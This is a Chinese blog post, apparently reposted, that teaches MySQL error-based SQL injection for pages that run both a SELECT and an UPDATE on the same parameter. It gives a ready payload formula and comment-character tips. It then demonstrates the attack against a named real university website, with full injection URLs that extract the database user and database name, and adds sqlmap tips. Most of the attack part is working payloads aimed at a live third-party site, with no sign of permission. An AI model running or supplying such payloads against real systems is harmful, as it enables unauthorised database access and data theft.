在《搜狐分站MySQL报错注入与伪session认证》这篇文章中说过:当网站的注入点脚本执行多个SQL语句,如一个查询语句(select * from xxx where id=)、一个增加统计的语句(update xxx set a=a+1 where id=).由于多个语句的列数不同,所以不能通过union联合查询来进行注入,最好的办法是利用MySQL的错误回显来进行注入。
成型的MySQL错误注入的公式如下:
Q +union select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(SQL limit 0,1),0x3a)a from information_schema.tables group by a)b +Z
同时,要注意MySQL的注释符: # +–+ /* %23等.
今天就遇到一个这样的网站,因此根据上面的理论用MySQL报错来实践一下:
注入点:http://www.software.zjut.edu.cn/info.php?id=4104,根据测试在注入点中执行了两条sql语句:
SELECT * FROM ins_news WHERE id=’4104′
UPDATE ins_news SET hits=(hits+1) WHERE id=’4104′
由于两条语句的列数不一样,所以不能够使用order by和union select来通过显示位来进行注入,必须通过报错语句进行注入。
1、获取当前用户名user()
http://www.software.zjut.edu.cn/info.php ?id=4104' union select '1' from (select count(*),concat(floor(rand(0)*2),0x3a,user())a from information_schema.tables group by a)b%23
或
http://www.software.zjut.edu.cn/info.php ?id=4104' union select '1' from (select count(*),concat(floor(rand(0)*2),0x3a,(select database() from information_schema.tables limit 0,1))a from information_schema.tables group by a)b%23
要注意上面第二条语句中要有limit 0,1来限制返回的条数,否则会出错。
ps:可以看出上面的报错注入公式是可以爆数据的,实际上sqlmap也是通过该报错语句来获取数据的。通过设置sqlmap语句的-v 参数为3来查看sqlmap的注入语句如下:
注意:在注入的过程中可能会出现错误“ Every derived table must have its own alias”,一般在多表查询时,会出现此错误。因为,进行嵌套查询的时候子查询出来的的结果是作为一个派生表来进行上一级的查询的,所以子查询的结果必须要有一个别名。把MySQL语句改成:select count(*) from (select * from ……) as total;问题就解决了,虽然只加了一个没有任何作用的别名total,但这个别名是必须的。
sqlmap的注入技巧可以参考:sqlmap的一些小技巧
转载请注明:jinglingshu的博客 » 注入点执行多条语句时的mysql报错注入